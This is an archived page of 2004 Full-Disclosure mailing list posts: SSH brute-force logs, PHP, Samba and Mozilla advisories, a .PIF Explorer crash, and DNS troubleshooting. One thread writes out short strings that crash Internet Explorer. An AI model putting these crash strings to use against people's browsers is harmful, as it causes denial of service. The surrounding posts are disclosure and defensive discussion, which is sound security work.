NEOHAPSIS - Peace of Mind Through Integrity and Insight

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com

Neohapsis > Archives > Full-Disclosure> 2004-07

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

application/octet-stream attachment: Loves_money.scr

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

[Full-Disclosure] Automated SSH login attempts?

From: Jay Libove (libovefelines.org)
Date: Thu Jul 22 2004 - 09:47:46 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

[ Posted to full disclosure and vulnwatch; please edit reply address(es)
as appropriate. Thanks. -Jay ]

My Linux system, and a Linux system run by a friend here in the same city
but on a completely different netblock (different ISP), have both seen
apparently automated attempts to log in to our systems via SSH in the past
few days. Looks like a script.

Here are some log entries from my system:

Jul 15 10:01:34 panther6 sshd[8267]: Illegal user test from 62.67.45.4
Jul 15 10:01:34 panther6 sshd[8267]: Failed password for illegal user test from 62.67.45.4 port 39141 ssh2
Jul 15 10:01:36 panther6 sshd[8269]: Illegal user guest from 62.67.45.4
Jul 15 10:01:36 panther6 sshd[8269]: Failed password for illegal user guest from 62.67.45.4 port 39192 ssh2
Jul 15 10:01:37 panther6 sshd[8271]: Illegal user admin from 62.67.45.4
Jul 15 10:01:37 panther6 sshd[8271]: Failed password for illegal user admin from 62.67.45.4 port 39234 ssh2
Jul 15 10:01:38 panther6 sshd[8273]: Illegal user user from 62.67.45.4
Jul 15 10:01:38 panther6 sshd[8273]: Failed password for illegal user user from 62.67.45.4 port 39275 ssh2
Jul 15 10:01:39 panther6 sshd[8275]: Failed password for root from 62.67.45.4 port 39340 ssh2
Jul 15 10:01:41 panther6 sshd[8277]: Failed password for root from 62.67.45.4 port 39386 ssh2
Jul 15 10:44:12 panther6 sshd[8300]: Illegal user test from 62.67.45.4
Jul 15 10:44:12 panther6 sshd[8300]: Failed password for illegal user test from 62.67.45.4 port 33771 ssh2
Jul 15 10:44:14 panther6 sshd[8302]: Illegal user guest from 62.67.45.4
Jul 15 10:44:14 panther6 sshd[8302]: Failed password for illegal user guest from 62.67.45.4 port 33828 ssh2
Jul 15 10:44:15 panther6 sshd[8304]: Illegal user admin from 62.67.45.4
Jul 15 10:44:15 panther6 sshd[8304]: Failed password for illegal user admin from 62.67.45.4 port 33876 ssh2
Jul 15 10:44:16 panther6 sshd[8306]: Illegal user user from 62.67.45.4
Jul 15 10:44:16 panther6 sshd[8306]: Failed password for illegal user user from 62.67.45.4 port 33916 ssh2
Jul 15 10:44:17 panther6 sshd[8308]: Failed password for root from 62.67.45.4 port 33988 ssh2
Jul 15 10:44:19 panther6 sshd[8310]: Failed password for root from 62.67.45.4 port 34032 ssh2
Jul 15 17:07:15 panther6 sshd[8912]: Illegal user test from 131.234.36.152
Jul 15 17:07:15 panther6 sshd[8912]: Failed password for illegal user test from 131.234.36.152 port 38287 ssh2
Jul 15 17:07:16 panther6 sshd[8914]: Illegal user guest from 131.234.36.152
Jul 15 17:07:16 panther6 sshd[8914]: Failed password for illegal user guest from 131.234.36.152 port 38326 ssh2
Jul 15 17:07:18 panther6 sshd[8916]: Illegal user admin from 131.234.36.152
Jul 15 17:07:18 panther6 sshd[8916]: Failed password for illegal user admin from 131.234.36.152 port 38370 ssh2
Jul 15 17:07:19 panther6 sshd[8918]: Illegal user admin from 131.234.36.152
Jul 15 17:07:19 panther6 sshd[8918]: Failed password for illegal user admin from 131.234.36.152 port 38412 ssh2
Jul 15 17:07:21 panther6 sshd[8920]: Illegal user user from 131.234.36.152
Jul 15 17:07:21 panther6 sshd[8920]: Failed password for illegal user user from 131.234.36.152 port 38468 ssh2
Jul 15 17:07:22 panther6 sshd[8922]: Failed password for root from 131.234.36.152 port 38516 ssh2
Jul 15 17:07:23 panther6 sshd[8924]: Failed password for root from 131.234.36.152 port 38558 ssh2
Jul 15 17:07:25 panther6 sshd[8926]: Failed password for root from 131.234.36.152 port 38611 ssh2
Jul 15 17:07:26 panther6 sshd[8928]: Illegal user test from 131.234.36.152
Jul 15 17:07:26 panther6 sshd[8928]: Failed password for illegal user test from 131.234.36.152 port 38675 ssh2
Jul 19 22:05:07 panther6 sshd[30439]: Illegal user test from 83.103.27.66
Jul 19 22:05:07 panther6 sshd[30439]: Failed password for illegal user test from 83.103.27.66 port 52671 ssh2
Jul 19 22:05:08 panther6 sshd[30441]: Illegal user guest from 83.103.27.66
Jul 19 22:05:08 panther6 sshd[30441]: Failed password for illegal user guest from 83.103.27.66 port 52687 ssh2
Jul 21 06:30:12 panther6 sshd[1103]: Illegal user test from 219.103.193.130
Jul 21 06:30:12 panther6 sshd[1103]: Failed password for illegal user test from 219.103.193.130 port 55802 ssh2
Jul 21 06:30:14 panther6 sshd[1105]: Illegal user guest from 219.103.193.130
Jul 21 06:30:14 panther6 sshd[1105]: Failed password for illegal user guest from 219.103.193.130 port 55823 ssh2

.. and some log entries from my friend's system:

Jul 19 21:04:33 quack sshd[28379]: Illegal user test from 131.234.157.10
Jul 19 21:04:34 quack sshd[28381]: Illegal user guest from 131.234.157.10
Jul 19 21:04:36 quack sshd[28383]: Illegal user admin from 131.234.157.10
Jul 19 21:04:37 quack sshd[28385]: Illegal user admin from 131.234.157.10
Jul 19 21:04:38 quack sshd[28387]: Illegal user user from 131.234.157.10
Jul 19 21:04:43 quack sshd[28400]: Illegal user test from 131.234.157.10
Jul 22 09:39:10 quack sshd[7646]: Illegal user test from 156.17.99.11
Jul 22 09:39:11 quack sshd[7648]: Illegal user guest from 156.17.99.11

I have not seen any notes about this on the vulnerability disucssion
lists. Has anyone else noticed it? What specific vulnerability (or
default password?) is this looking for?

-Jay Libove, CISSP
libovefelines.org
Atlanta, GA US

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

RE: [Full-Disclosure] Crash IE with 11 bytes ;)

From: Stephen Taylor (stayloagccs.lmco.com)
Date: Fri Jul 23 2004 - 14:50:09 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

I don't understand the effect it has on Mozilla. It certainly crashed my IE
but for Mozilla, the URL window displayed a diamond shape with a red "X"
through it. Mozilla was unresponsive afterwards. I had to close the window
to recover. I am a W2K user at work.
ST

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com]On Behalf Of Phuong
Nguyen
Sent: Friday, July 23, 2004 1:49 PM
To: Marcel Krause
Cc: full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] Crash IE with 11 bytes ;)

Oh, I actually didn't know about that! Coolio ;) !!

Phuong

At 12:47 AM 7/24/2004, Marcel Krause wrote:
>Hi!
>
>There is a similar Bug using about:<input%20type%20crash> .
>Well i think that's old news to you :)
>
>Yours, Marcel

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

[Full-Disclosure] mi2g attacks "so-called" security sites

From: Rob Rosenberger (RobVmyths.com)
Date: Thu Jul 22 2004 - 20:10:09 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

mi2g attacked a number of "so-called" security sites in a 20 July press
release. mi2g identified by name the following sites: SecurityFocus,
Insecure, Neohapsis, NetSys, e2kSecurity, Der Keiler, gossamer-threads, C4I,
VulnWatch, and Landfield.

Vmyths will slam mi2g in an upcoming column -- because they don't know the
difference between a hoax and a PARODY.

Vmyths has dared to use the word "plagiarism" in the same sentence with
"mi2g." We will now dare to use the word "slander." We'll say it in both a
column and a press release.

mi2g threatened to sue Vmyths for libel in 2002. (See
http://Vmyths.com/rant.cfm?id=497&page=4 for details.) Two years later,
we're still waiting for the "so-called" security firm to identify ANY
libelous text on our website. "Truth" remains the first word in our website
slogan.

Rob Rosenberger, Vmyths editor
Truth about computer virus hysteria
http://Vmyths.com
(319) 646-2800

Weekly newsletter sign-up:
http://Vmyths.com/news.cfm

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

[Full-Disclosure] [OpenPKG-SA-2004.034] OpenPKG Security Advisory (php)

From: OpenPKG (openpkgopenpkg.org)
Date: Thu Jul 22 2004 - 09:46:36 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

________________________________________________________________________

OpenPKG Security Advisory The OpenPKG Project
http://www.openpkg.org/security.html http://www.openpkg.org
openpkg-securityopenpkg.org openpkgopenpkg.org
OpenPKG-SA-2004.034 22-Jul-2004
________________________________________________________________________

Package: php, apache [with_mod_php=yes]
Vulnerability: cross-site scripting, remote code execution
OpenPKG Specific: no

Affected Releases: Affected Packages: Corrected Packages:
OpenPKG CURRENT <= php-4.3.7-20040611 >= php-4.3.8-20040714
<= apache-1.3.31-20040713 >= apache-1.3.31-20040714
OpenPKG 2.1 none N.A.
OpenPKG 2.0 <= php-4.3.4-2.0.0 >= php-4.3.4-2.0.1
<= apache-1.3.29-2.0.4 >= apache-1.3.29-2.0.5

Dependent Packages: none

Description:
  According to a PHP [0] security advisory [1] from Stefan Esser the
  commonly used "memory_limit" functionality in PHP 4.x up to 4.3.7
  under certain conditions allows remote attackers to execute arbitrary
  code by triggering a "memory_limit" abort during execution of the
  zend_hash_init() function. The Common Vulnerabilities and Exposures
  (CVE) project assigned the id CAN-2004-0594 [2] to the problem.

  According to another security advisory [3] from Stefan Esser the
  strip_tags() function in PHP 4.x up to 4.3.7 does not filter NUL
  characters within tag names, allowing dangerous tags to be processed
  by certain web browsers and facilitate the exploitation of cross-site
  scripting (XSS) vulnerabilities. The Common Vulnerabilities and
  Exposures (CVE) project assigned the id CAN-2004-0595 [4] to the
  problem.

  Please check whether you are affected by running "<prefix>/bin/rpm
  -q php". If you have the "php" package installed and its version is
  affected (see above), we recommend that you immediately upgrade it
  (see Solution) [5][6].

Solution:
  Select the updated source RPM appropriate for your OpenPKG release
  [7], fetch it from the OpenPKG FTP service [8] or a mirror location,
  verify its integrity [9], build a corresponding binary RPM from it [5]
  and update your OpenPKG installation by applying the binary RPM [6].
  For the affected release OpenPKG 2.0, perform the following operations
  to permanently fix the security problem (for other releases adjust
  accordingly).

  $ ftp ftp.openpkg.org
  ftp> bin
  ftp> cd release/2.1/UPD
  ftp> get php-4.3.4-2.0.1.src.rpm
  ftp> bye
  $ <prefix>/bin/openpkg rpm -v --checksig php-4.3.4-2.0.1.src.rpm
  $ <prefix>/bin/openpkg rpm --rebuild php-4.3.4-2.0.1.src.rpm
  $ su -
  # <prefix>/bin/openpkg rpm -Fvh <prefix>/RPM/PKG/php-4.3.4-2.0.1.*.rpm
________________________________________________________________________

References:
  [0] http://www.php.net/
  [1] http://security.e-matters.de/advisories/112004.html
  [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0594
  [3] http://security.e-matters.de/advisories/122004.html
  [4] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0595
  [5] http://www.openpkg.org/tutorial.html#regular-source
  [6] http://www.openpkg.org/tutorial.html#regular-binary
  [7] ftp://ftp.openpkg.org/release/2.0/UPD/php-4.3.4-2.0.1.src.rpm
  [8] ftp://ftp.openpkg.org/release/2.0/UPD/
  [9] http://www.openpkg.org/security.html#signature
________________________________________________________________________

For security reasons, this advisory was digitally signed with the
OpenPGP public key "OpenPKG <openpkgopenpkg.org>" (ID 63C4CB9F) of the
OpenPKG project which you can retrieve from http://pgp.openpkg.org and
hkp://pgp.openpkg.org. Follow the instructions on http://pgp.openpkg.org/
for details on how to verify the integrity of this advisory.
________________________________________________________________________

-----BEGIN PGP SIGNATURE-----
Comment: OpenPKG <openpkgopenpkg.org>

iD8DBQFA/9MggHWT4GPEy58RAjUxAJ46ZgHCdPAijcOSW3DYaDXVM1E0ZACgg4oR
cX6Hz0LmxJcVgoHQNvF+SBY=
=uJ3k
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

RE: [Full-Disclosure] Crash IE with 11 bytes ;)

From: Stephen Taylor (stayloagccs.lmco.com)
Date: Fri Jul 23 2004 - 12:53:29 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Yeah I saw this on July 5 on SecuriTeam. Your stuff, isn't it?

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com]On Behalf Of Phuong
Nguyen
Sent: Friday, July 23, 2004 1:18 PM
To: full-disclosurelists.netsys.com
Subject: [Full-Disclosure] Crash IE with 11 bytes ;)

Hey,

I thought you guys might want to know that it only takes 11 bytes to crash
IE 5.x , 6.x SP1. CSS memory corruption vulnerability. All you need to do
is <style>;/* ;) simple as that. More details
http://www.ecqurity.com/adv/IEstyle.html

Phuong

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

[Full-Disclosure] [OpenPKG-SA-2004.033] OpenPKG Security Advisory (samba)

From: OpenPKG (openpkgopenpkg.org)
Date: Thu Jul 22 2004 - 04:39:35 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

________________________________________________________________________

OpenPKG Security Advisory The OpenPKG Project
http://www.openpkg.org/security.html http://www.openpkg.org
openpkg-securityopenpkg.org openpkgopenpkg.org
OpenPKG-SA-2004.033 22-Jul-2004
________________________________________________________________________

Package: samba
Vulnerability: arbitrary code execution
OpenPKG Specific: no

Affected Releases: Affected Packages: Corrected Packages:
OpenPKG CURRENT <= samba-3.0.4-20040722 >= samba-3.0.5-20040722
OpenPKG 2.1 <= samba-3.0.4-2.1.0 >= samba-3.0.4-2.1.1
OpenPKG 2.0 <= samba-2.2.8a-2.0.0 >= samba-2.2.8a-2.0.1

Dependent Packages: none

Description:
  Evgeny Demidov discovered that the Samba SMB/CIFS server [1] has a
  buffer overflow bug in the Samba Web Administration Tool (SWAT) on
  decoding Base64 data during HTTP Basic Authentication. Samba version
  between 3.0.2 through 3.0.4 are affected. The Common Vulnerabilities
  and Exposures (CVE) project assigned the id CAN-2004-0600 [2] to the
  problem.

  Another buffer overflow bug has been located in the Samba code
  used to support the "mangling method = hash" functionality. The
  default setting for this parameter is "mangling method = hash2"
  and therefore Samba is not vulnerable by default. Samba versions
  between 2.2.0 through 2.2.9 and 3.0.0 through 3.0.4 are affected. The
  Common Vulnerabilities and Exposures (CVE) project assigned the id
  CAN-2004-0686 [3] to the problem.

  Please check whether you are affected by running "<prefix>/bin/rpm -q
  samba". If you have the "samba" package installed and its version is
  affected (see above), we recommend that you immediately upgrade it
  (see Solution). [4][5]

Solution:
  Select the updated source RPM appropriate for your OpenPKG release
  [6][7], fetch it from the OpenPKG FTP service [8][9] or a mirror
  location, verify its integrity [10], build a corresponding binary
  RPM from it [4] and update your OpenPKG installation by applying the
  binary RPM [5]. For the current release OpenPKG 2.1, perform the
  following operations to permanently fix the security problem (for
  other releases adjust accordingly).

  $ ftp ftp.openpkg.org
  ftp> bin
  ftp> cd release/2.1/UPD
  ftp> get samba-3.0.4-2.1.1.src.rpm
  ftp> bye
  $ <prefix>/bin/rpm -v --checksig samba-3.0.4-2.1.1.src.rpm
  $ <prefix>/bin/rpm --rebuild samba-3.0.4-2.1.1.src.rpm
  $ su -
  # <prefix>/bin/rpm -Fvh <prefix>/RPM/PKG/samba-3.0.4-2.1.1.*.rpm
________________________________________________________________________

References:
  [1] http://www.samba.org/
  [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0600
  [3] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0686
  [4] http://www.openpkg.org/tutorial.html#regular-source
  [5] http://www.openpkg.org/tutorial.html#regular-binary
  [6] ftp://ftp.openpkg.org/release/2.1/UPD/samba-3.0.4-2.1.1.src.rpm
  [7] ftp://ftp.openpkg.org/release/2.0/UPD/samba-2.2.8a-2.0.1.src.rpm
  [8] ftp://ftp.openpkg.org/release/2.1/UPD/
  [9] ftp://ftp.openpkg.org/release/2.0/UPD/
  [10] http://www.openpkg.org/security.html#signature
________________________________________________________________________

-----BEGIN PGP SIGNATURE-----
Comment: OpenPKG <openpkgopenpkg.org>

iD8DBQFA/4tEgHWT4GPEy58RAmUiAKCIn5+KO6CQKob3Ic8zw58zZGYrIwCgvhsM
J3K6l6DoQK8EK/Z7BaWzH/I=
=WOpx
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

[Full-Disclosure] Security is not a technology, but instead attitude

From: Trowel Faz (trowelfazhotmail.com)
Date: Thu Jul 22 2004 - 11:51:00 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This is sort of a rant. Companies believe there is a 'black box' that will
secure them. We all know this to be false. Besides all the buggy code,
unsafe operating practices and the like, one of the biggest issues is from
the attitude of the companies themselves. Recently, I experienced this first
hand in case seperate cases:
1) Emailed major vendor about a flaw in the operation of one of their
patches that will render a vulnerable service back to life to be exploited.
After their verification this can happen, I received a FU type of response:
"At this point I don't see any further actions I can take on this issue.
I do not want to update the KB with text along the lines of 'And it is
possible to restart the service as an admin by clicking a link' since
that would allow attackers an easy pointer to a bug, even though all
known attack vectors are blocked."

So, even though all current *known* attacked vectors are blocked, a service
can still be restarted unknowningly by the user and exploited with *unknown*
attacks (or at least unknown to the vendor). If I set something to disabled,
it should stay in that state unless I explicitly enable it. Yes, one could
delete the offending files, but given the OS involved, it *will* reappear
sometime later.

The second case involves a vendor who offers commerce transactions to a very
large community worldwide. Their main login screen is not SSL wrapped, but
there is a tiny link near the bottom that allows for SSL logins. This
service is used by *many* non-technical people, most of who probably don't
even notice the SSL link for an alternate login page. So, when the user logs
into their account, their login/password are transmitted in clear text for
easy sniffing or recording in web proxies or on the vendors web site itself.
Now mind you, many of the users of this service probably also have the same
login/password for their ecommerce access, which is tied directly to their
credit cards and bank info (which, by the way, the vendor has a vested
interest in). Their response? "There is an alternate link for using an
encrypted login if you wish". Why not make that the default?

In case 1, then vendor acknowledged there is still a bug, but doesn't want
it to get out, and wants to do nothing to address it. When there is a
working exploit for it, they will fix it. This is reactionary mode. Don't do
anything unless something bad happens, then only fix that part instead of
fixing the problem as a whole.

In case 2, then vendor has their get-out-of-jail card handy since 'there IS
a way for encrypted login, but it is not default'. This ignorance costs not
only the vendor, but the banks and users involved hard cash. Sure, someone
who is hit by a compromised account may be able to get some of their money
refunded, but the perp probably got away with it AND the user now has the
possibility of their other personal information leaking out to who knows
where all because a vendor did not act responibly in the first place. And
this vendor has other 'security' in place to ensure you have to authenticate
if you wish to look up some 'marked public' info for other users. Why
bother? Simply sniff their credentials off the wire and have fun!

All in all, the real security threat is from attitude. Attitude for not
addressing problems that are reported. Attitude from releasing poorly coded
applications just to meet a deadline. Attitude from failing to take the
basic precautions for doing business on the Internet.

_________________________________________________________________
Discover the best of the best at MSN Luxury Living. http://lexus.msn.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Vulnerability in sourceforge.net

xedxusers.sourceforge.net
Date: Thu Jul 22 2004 - 19:22:51 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Really...FreeBSD comes with user nobody set to /sbin/nologin out of the
box. Maybe they should have chosen a better host OS?

G[D
---
What does this have to do with the host os?
oh wait CISSP, Computer Security ha ha my bad

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] (no subject)

From: J.A. Terranson (measlmfn.org)
Date: Sun Jul 25 2004 - 13:41:25 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On Sun, 25 Jul 2004 adamhuntrecruiting.com wrote:

You'll likely have better luck on the incidents mailing list at
securityfocus.

--
Yours,

J.A. Terranson
sysadminmfn.org
0xBD4A95BF

  "...justice is a duty towards those whom you love and those whom you do
  not. And people's rights will not be harmed if the opponent speaks out
  about them." Osama Bin Laden
        - - -

"There aught to be limits to freedom!" George Bush
- - -

Which one scares you more?

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

RE: [Full-Disclosure] RE: Unchecked buffer in mstask.dll

From: Polazzo Justin (Justin.Polazzofacilities.gatech.edu)
Date: Fri Jul 23 2004 - 08:43:02 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

> (Hmmmm -- does it also fail on
W2K3??)

>I had to specifically click on the "Program" tab, which evoked a null-
>pointer read attempt

It works on 2k3, same steps taken.

jp

        -----Original Message-----
        From: Nick FitzGerald [mailto:nickvirus-l.demon.co.uk]
        Sent: Wed 7/14/2004 11:03 PM
        To: bugtraqsecurityfocus.com; full-disclosurelists.netsys.com
        Cc:
        Subject: Re: [Full-Disclosure] RE: Unchecked buffer in mstask.dll

        "Jordan Cole (stilist)" <stilistgmail.com> to Paul Szabo:

> > Being curious, on Win2k, I copied cmd.exe (from winnt\system32) as xyz.pif;
> > then (right-click) Properties, Program crashes explorer.

        I had to specifically click on the "Program" tab, which evoked a null-
        pointer read attempt (at a guess, something in the .PIF parser assumes
        a length or offset will always be >0 so doesn't do any sanity checking,
        and/or some higher level routines don't do any checking).

> I'd say that's because you changed the filetype; pif files simply
> contain information on how to handle a DOS executable; they aren't a
> program themselves. All you did was make it get confused and kill
> itself.

        Yeah, but how long is it now since we've been telling programmers
        "don't trust user-supplied data"?? (Hmmmm -- does it also fail on
        W2K3??)

        And don't you also find the inconsistencies this throws up at least
        somewhat interesting?

        Rename a PE executable to a .PIF extension, right click, ask to see the
        file's properties and splat -- whatever code is invoked to handle that
        task dies a stupid, if not ugly, death because internally the file is
        the wrong type. However, if you double-click that renamed file it is
        executed as if nothing is amiss.

        And to think that some folk will see this as further reason to enforce
        their belief that when it comes to security and code quality, Microsoft
        really just doesn't get it...

        Why did MS make ".EXE files renamed as .PIF" execute "properly"? Aside
        from "because we can", I'd not be at all surprised if it was on some
        internal "stupid user tricks we should eliminate support calls for"
        list. But, whatever the reason, did anyone at Microsoft give two
        milliseconds of thought to the security (or other) consequences of that
        design decision? I seriously doubt it and I'm sure I'm far from alone
        in that...


        --
        Nick FitzGerald
        Computer Virus Consulting Ltd.
        Ph/FAX: +64 3 3529854

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

RE: [SPAM] - [Full-Disclosure] Yahoo Security Dept email address - Email found in subject

From: Hamby, Charles D. (Chambymatsu.alaska.edu)
Date: Sat Jul 24 2004 - 23:23:28 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

It's securityyahoo-inc.com

-cdh

________________________________

From: full-disclosure-adminlists.netsys.com on behalf of Steven Evans
Sent: Sat 7/24/2004 7:23 PM
To: Mailing List - Full-Disclosure
Subject: [SPAM] - [Full-Disclosure] Yahoo Security Dept email address - Email found in subject

Hey guys

What is the email address for the security dept at yahoo? I am trying
to inform them of several email accounts that are destination points for
a password stealing worm, and the only help I get is help to reset my
account password??

Cheers,
Steve

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Vulnerability in sourceforge.net

From: nicolas vigier (boklmmars-attacks.org)
Date: Sun Jul 25 2004 - 13:06:20 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On Fri, 23 Jul 2004, nicolas vigier wrote:

>
> Linux sc8-pr-web6 2.4.20-24.9bigmem #1 SMP Mon Dec 1 11:14:38 EST 2003 i686

Ok, they finally updated it a few hours after this message, when I had
sent them a second mail explaining how it could be easy to get root on
this web server for anyone having an account on sourceforge.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

FW: [Full-Disclosure] Question for DNS pros

From: Suzi and Harold VanPatten (vanpattensknology.net)
Date: Sat Jul 24 2004 - 10:16:26 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

It seems to me you could do this without setting up a dns server. Just
tcpdump the traffic or sniff or snoop the traffic. It you set it up with a
snaplength of 1500 you'll get enough of the packet to see exactly what dns
query is being asked...something like

tcpdump -n -s 1500 udp and port 53 and host 1.2.3.4

then you'll be able to tell if the queries are all for one specific domain
(meaning something has that IP registered as an authoritative server for
that domain) or are the queries for many different domains meaning people
think you have a dns server they can use as a resolver.

We have seen the second case happen before, but generally it has been easy
to fix. For instance, if our domain was 192.168.13.0, we'll notice that the
source addresses of ALL the queries will come from something like
192.163.13.0 and obviously they have accidentally typo'd something in their
dhcp server. Then we use ARIN or some other website to figure out a POC for
that network, call them and they fix the typo.

Same with issue number one, once you know the domain they are querying, you
can find the POC of that domain and get them to fix the problem. Hopefully,
it is one of these two issues. Good luck!

Suzi

Paul Schmehl <paulsutdallas.edu> writes:

> What I want to know is *why* do these "foreign" hosts think an IP on
> my network is serving DNS when there's not even a host at that address.
>
> I can think of two possibilities:
>
> 1) At some time in the past, a host *was* serving DNS at that address
> and some "foreign" hosts have cached the address.
> 2) Someone somewhere has registered a domain and used our IP address
> for one of their "nameservers" in the registration.
>
> (If anyone can think of other explanations, please let me know.)

Some bogus resolver, or forwarder, setup.

> Now how is a reverse lookup going to help you with that?

It won't.

> The best suggestion yet has been to set up a name server at that
> address with verbose logging. That's probably what I will do next
> week.

Yes, just put no zone at all and log queries. After a while, you should be
able to figure out "why" you receive these queries.

Cheers.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Re: [Full-Disclosure] Question for DNS pros

From: Steve (fulld-nospambraingia.org)
Date: Sat Jul 24 2004 - 08:58:12 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On Sat, Jul 24, 2004 at 12:58:42AM -0500, Paul Schmehl wrote:
> i think your isp should have this info
>
>> Umm..did you look at my address? We own a class B. We don't have an
>> ISP.

Agreed. Even if you did have an ISP, I don't see any reason why they
would have this information.

> Not if the "other" DNS server is working. You're required to register two
> nameservers; a primary and a secondary. You only need one to answer
> queries. If a guy registered a domain and used *his* box for the primary
> and just grabbed a random IP to register as a "secondary", why would he
> care of the secondary didn't work?

A solution or, well, a possible way to make the problem solve itself, is
to start answering queries for the domain that's pointing to you, except
answer them incorrectly. Another poster had pointed out that you could
answer the queries by pointing to 127.0.0.1 and that might be a
solution. The person who registered the domain pointing to your address
may eventually get sick of having some queries answered incorrectly for
their domain and switch it.

It may also be a violation of a registrar's terms of service to point to
DNS servers that aren't actually authoritative for the zone but I
wouldn't count on this actually paying dividends. When we had the same
problem a number of years ago, the registrar (verisign) said that we
needed to take it up with the domain owner. It didn't matter that we
explained that the domain owner was unresponsive. These policies may
have changed since I last tried but I wouldn't count on it.

I would first try to contact the domain owner to see if they pointed to
the IP by mistake and politely ask them to change it. If they didn't
respond, I might contact them again telling them that I'm about to start
answering queries for that domain with whatever I wanted. If, after
those attempts nothing changed, I would implement the DNS server on the
IP in question and start answering for it.

> You're misunderstanding the problem. The problem is, we want to make sure
> our IPs aren't being used by someone else, even inadvertantly.

I don't believe that you're ever going to be completely successful in
this. It's like saying that you never want someone to sign up for a
mailing list with your physical (real-world) address. You can't control
someone using your physical address and having their mail sent there.
You can, however, prevent them from retrieving their mail by getting to
your mailbox first. :)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

[Full-Disclosure] OpenServer 5.0.7 : Mozilla Multiple issues

please_reply_to_securitysco.com
Date: Thu Jul 22 2004 - 16:34:44 CDT

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

______________________________________________________________________________

SCO Security Advisory

Subject: OpenServer 5.0.7 : Mozilla Multiple issues
Advisory number: SCOSA-2004.8
Issue date: 2004 July 20
Cross reference: sr889065 fz528708 erg712531 CAN-2003-0594
______________________________________________________________________________

1. Problem Description

Mozilla upgrade to version 1.6. fixes several security isuses.

Mozilla Browser Scope Cross-Domain Function or Variable Disclosure

        Jesse Ruderman has reported a vulnerability in Mozilla where a
        malicious site may detect whether functions or variables are defined
        in another browser window. The issue is reported to exist due to a
        lack of sufficient access controls enforced on eval() calls. An
        attacker may exploit this issue to potentially enumerate browsing
        habits of an unsuspecting user.

Mozilla Browser Proxy Server Authentication Credential Disclosure

        Darin Fisher has reported an information disclosure bug in Mozilla.
        When the user attempts to connect to a malicious server subsequent to
        successfully authenticating to the trusted server and if the malicious
        proxy with a same realm as the trusted server sends the user a "407
        Proxy authentication required" message, Mozilla will send the cached
        authentication credentials from the previous exchange with the trusted
        proxy to the malicious server. This is carried out regardless of the
        different domain name or IP address of the malicious server.

Mozilla Custom Getter/Setter Objects Same Origin Policy Violation

